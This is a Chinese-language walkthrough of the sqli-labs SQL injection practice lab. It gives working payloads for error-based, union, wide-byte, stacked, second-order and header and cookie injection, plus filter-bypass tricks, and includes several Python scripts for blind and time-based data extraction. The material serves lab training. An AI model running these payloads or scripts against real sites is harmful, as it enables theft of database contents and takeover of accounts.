sqli-labs
在buuctf平台 搜索sqli-labs 可以更加模拟线上赛的环境
less-1
less-5
?id=0' and(select extractvalue(1,concat('~',(select database())))) %23
报错注入详细讲解:https://blog.csdn.net/silence1_/article/details/90812612
less-6
发现不报错了,用布尔盲注
写python代码来跑出内容
import requests
url = "http://f53e0ba7-66fb-4bd2-9da9-02e60b2a5f78.node4.buuoj.cn/Less-6/"
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0","Cookie":""}
keylist=[chr(i) for i in range(49,97)]
keylist.insert(0,',')
answer = ''
judge='are' # 判断是否正确的标志
print(keylist)
for i in range(1,40):
for c in keylist:
#print(c)
payload = "0\" or (select((substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),"+str(i)+",1)='"+c+"'))) #" #用substring逐位猜测密码
formdata = {
"id":payload
#"Submit":"Submit"
}
response = requests.get(url, params = formdata) #本题用的PUT方法传输客户端参数,如果遇到其他题目用POST方法,则改为requests.post
if response.text.find(judge) != -1:#猜对了的话返回结果会包含already exists
if c==',':
answer=''
else:
answer+=c
print(answer)
break
使用最简单的迭代 会慢一些 可以优化二分查找
less-7
也可以使用上面的代码稍作修改跑出内容
payload = "1')) and (select((substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),"+str(i)+",1)='"+c+"'))) #" #用substring逐位猜测密码
不过题目提示了使用outfile做
outfile 详解:https://www.jb51.net/article/139858.htm
就是要将一句话写进 mysql数据库 中
在less-1中查到保存路径
未完
less-8
less-18 http请求注入 uagent
提示是http头注入
常见的HTTP注入点产生位置为【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】;
(1)HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。
(2)X-Forwarded-For:简称XFF头,它代表客户端,用于记录代理信息的,每经过一级代理(匿名代理除外),代理服务器都会把这次请求的来源IP追加在X-Forwarded-For中
(3)Cookie,有时也用其复数形式 Cookies,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)
(4)X-Real-IP一般只记录真实发出请求的客户端IP,看下面的例子,
X-Forwarded-For: 1.1.1.1, 2.2.2.2, 3.3.3.3
代表 请求由1.1.1.1发出,经过三层代理,第一层是2.2.2.2,第二层是3.3.3.3,而本次请求的来源IP4.4.4.4是第三层代理
如果配置了X-Read-IP,将会是:
X-Real-IP: 1.1.1.1
所以 ,如果只有一层代理,这两个头的值就是一样的
(5)Accept-Language请求头允许客户端声明它可以理解的自然语言,以及优先选择的区域方言
concat(id,"",username,"",password) from users limit 4,1
输入admin、admin 成功 发现会有 IP 和 user-Agent 的信息
使用burpsuite抓包,发送
修改User-Agent 再发送 发现报错
根据报错发现使用 ’ 单引号闭合 想办法使语句正确使用报错注入
将前后的 两个单引号闭合,使中间 的 extractvalue可以运行,报错 成功爆出数据库名
接下来就是慢慢构造语句
limit 1,1 前一个1可以控制查询第几行的数据, 后一个1 查询该行开始多少行数据
(select concat(id,"*",username,"*",password) from users limit 1,1)
报错的字符有限制 可以使用substr等字符串 截取出
less19 http请求 referer处注入
在referer处注入 步骤和上面一样
less20 cookie注入
这个在buuctf上貌似有问题无法返回cookie 我就转回到本地来做
提示是cookie注入
抓包查看
接下来就是对cookie进行注入,转到Repeater 修改cookie发送
源码查看
less-21 cookie注入 经过base64编码
步骤基本和上面的一至 不过cookie经过了base64
随便上网找一个base64的加解密工具即可
less-22
和上面的一样 不过闭合 为 " 双引号
less-23
测试可以发现 #,-- 注释符被过滤了 ,闭合为 ’ 单引号闭合 构造语句:
less-24 二次注入,构造信息存入数据库,再次用到时注入
先注册用户 构造用户名
登录注册的用户
更改密码,实现注入 更改管理员密码
首先注册一个用户
登录之后修改密码
这里就存在注入
会修改admin 管理员的的密码,不管原先密码正不正确
less-25 过滤了or 和and ,会将字母替换‘’,双写绕过oorr / anandd
less-25a 同上过滤了or 和 and ,同时是判断类型是数字 不需要闭合
?id=1 union select 1,2,database() %23
less-26
过滤掉了很多东西
or and /* – # 空格
注释和空格是不能用了 好多的绕过也不行
测试得是 ’ 单引号闭合 不能注释,就要想办法闭合后面的 ‘
无法绕过空格一般的查询就不太行的通了
要么报错注入,要么布尔注入
采用报错注入简单方便
?id=0'||exists(select(extractvalue(1,concat("1",(select(group_concat(concat(username,"_",passwoorrd)))from(users))))))||'1'='0
less-26a 和上面的一样 不过闭合变成了 ')
less-27 在26的基础上 过滤了union 和 select 可以用双写+大小写绕过
1 这里空格%0a代替 不知道26a和26关为什么不行
2 这里正则表达式是只要你含有 就会一直匹配 双写不能绕过
使用%0a 绕过空格
?id=0'UniunionON%0ASelselectEct%0A1,database(),'3
要么报错注入(推荐)和上面26 一样 不过select要双写+大小写绕过
要么布尔 跑代码
less-27a 与27差不多 不过闭合为 "
less-28
过滤了空格 可以用%0a绕过
过滤了union select,一整个 那就双写绕过
发现测试闭合的时候 (‘1’’’) 是可以正常运行的 ,我们会以为是 ‘1’’’ 当成单引号闭合
所以测试闭合的时候最好从带括号开始测试
?id=0')ununion%0Aselection%0Aselect%0A1,database(),3%0Awhere('1
?id=0')ununion%0Aselection%0Aselect%0A1,group_concat(username),group_concat(password)%0Afrom(users)where('1
less-28a
只过滤了union select
less-29
在index页面 没有任何过滤 可以直接注入
1、有个login页面
这是各个web服务器 接收参数时对相同key的取值
2 双web服务器
在sqli-labs里还有个压缩包 里面是29关和后面几关配套的jsp页面 使用tomcatweb服务器访问
用eclipse新建个web项目
将文件夹拖入
构造的内容和上一个相同,
https://www.cnblogs.com/lcamry/p/5762961.html
less-30 和上一题一样 闭合变为"
less-31 同上一题 闭合变为")
less-32 宽字节注入
宽字节注入详解:https://blog.csdn.net/helloc0de/article/details/76180190
SET NAMES 详解 :https://blog.csdn.net/czh500/article/details/86665509
这里将id进行了转义 +
宽字节就是利用 GBK 和 utf-8 编码的不同来实现注入
GBK 每两个字符为中文 utf-8 每三个字符为中文
当转义后 为 '(%5c%27) 这里有两个字符 那么我们在前面再加上一个字符 %df , 根据GBK编码 那么 %df%5c%27
前面的两个会变成中文 那么 ’ 就不会被转义
所有的客户端都是根据 utf-8 编码的 %df%5c%27 会被认为三个符号 而不是一个汉字
改变mysql 接收处理的字符编码
less-33 同上一题 宽字节注入
less-34 抓包 宽字节注入
less-35 无闭合,无过滤 直接注
less-36 又是宽字节注入 同上题
less-37 双是宽字节注入
less-38
可以直接注入
查看源码发现可以堆叠注入 ,也就是可以执行查询以外的sql语句,语句之间用 ; 隔开
这里有个小问题,这个函数是没有参数的,有的话 会到这里运行停止
less-39 同上题 不过没有闭合
less-40 又同上题 闭合变为 ')
less-41 双是同上题 无闭合
less-42
无法注册
通过登录界面 抓包 堆叠注入
可以构造用户名 admin’ # 来改变admin的密码
less-43 同上题 不过 闭合变为 ')
less-44 没有报错 闭合就要自己去试了
less-45 同上闭合变为 ')
可直接绕过登录
不过没什么用 后面要用改密码漏洞 所以还是 要堆叠注入
less-46
order by 输入数字 按照数字的列排序输出
1、可以使用报错注入 注出其他表的内容
2、布尔注入
true和false的排序不同
less-47
单引号闭合 有报错 采用报错注入
less-48
无报错信息 无闭合
采用时间注入
import requests
import time
url = 'http://127.0.0.1/sqli-labs/Less-48?sort='
database = 'select schema_name from information_schema.schemata'
tables = 'select table_name from information_schema.tables where table_schema=database()'
column = 'select column_name from information_schema.columns where table_name="table_name"'
result = ''
for i in range(1,30):
print(i,end=' ')
for j in range(48,122):
payload = "0 or if(ascii(substr({},{},1))={},sleep(0.3),1) %23".format('database()',i,j)
stime =time.time()
r = requests.get(url+payload)
etime = time.time()
#print(etime-stime,' ',chr(j))
if etime-stime >=2:
result += chr(j)
print (result)
break
less-49 无报错信息
order by 后注入 闭合 ’
采用时间注入
import requests
import time
url = 'http://127.0.0.1/sqli-labs/Less-49?sort='
database = 'select schema_name from information_schema.schemata'
tables = 'select table_name from information_schema.tables where table_schema=database()'
column = 'select column_name from information_schema.columns where table_name="table_name"'
result = ''
for i in range(1,30):
print(i,end=' ')
for j in range(48,122):
payload = "0' or if(ascii(substr({},{},1))={},sleep(0.3),1) %23".format('database()',i,j)
stime =time.time()
r = requests.get(url+payload)
etime = time.time()
#print(etime-stime,' ',chr(j))
if etime-stime >=2:
result += chr(j)
print (result)
break
less-50
order by 后的 注入 没有闭合
可以按照上一题的方法注入
看源码发现是
可以同时执行多条语句
less-51
闭合变成 ’
less-52
输入1 2 3 发现排序不同 大致可以判断 这里没有闭合,用的是数字
还是堆叠注入
less-53
输入1‘ 没有报错,没有回显
输入0,1,2 都一样的排序内容,输入字母也是 ,那么存在闭合
之后就只能堆叠注入试闭合 大致就是 ’ " ') ") 试过来
less-54 限制了次数的注入
猜测单引号闭合
知道了 闭合 数据库名 按常规注入方法
less-55
靠 居然,没想到闭合就是()
之后就是常规注入
less-56
闭合’)
less-57 闭合 "
less-58
测试闭合 闭合为 ’
测试发现联合注入不行
采用报错注入
查看源码发现是将用户名放入数组中 查找后 返回数组中对应的内容
联合查询不管用
如果没有报错,因为有次数限制 可能就注不了了
没有次数限制的话 那可以用布尔盲注注入
less-59 无闭合 同上题
less-60 闭合 ")
less-61 闭合 '))
less-62
闭合 ')
无报错显示 那么就用布尔盲注,次数有130次 用二分法注
注出表名
import requests
url = 'http://127.0.0.1/sqli-labs/Less-62'
cs='id'
payload = {
cs : ""
}
result = ""
for i in range(1,100):
l = 33
r =130
mid = (l+r)>>1
while(l<r):
payload[cs] = "1')and(ascii(substring((select(group_concat(table_name))from(information_schema.tables)where table_schema='CHALLENGES'),{},1))>{})#".format(i,mid)
#print(payload[cs])
html = requests.get(url,params = payload)
#print(payload)
if "Angelina" in html.text:
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)
注出列名
import requests
url = 'http://127.0.0.1/sqli-labs/Less-62'
cs='id'
payload = {
cs : ""
}
result = ""
for i in range(1,100):
l = 33
r =130
mid = (l+r)>>1
while(l<r):
payload[cs] = "1')and(ascii(substring((select(group_concat(column_name))from(information_schema.columns)where table_name='bstyub4xsx'),{},1))>{})#".format(i,mid)
#print(payload[cs])
html = requests.get(url,params = payload)
#print(payload)
if "Angelina" in html.text:
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)
注出密码
import requests
url = 'http://127.0.0.1/sqli-labs/Less-62'
cs='id'
payload = {
cs : ""
}
result = ""
for i in range(1,100):
l = 33
r =130
mid = (l+r)>>1
while(l<r):
payload[cs] = "1')and(ascii(substring((select(group_concat(secret_4DLK))from(bstyub4xsx)),{},1))>{})#".format(i,mid)
#print(payload[cs])
html = requests.get(url,params = payload)
#print(payload)
if "Angelina" in html.text:
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)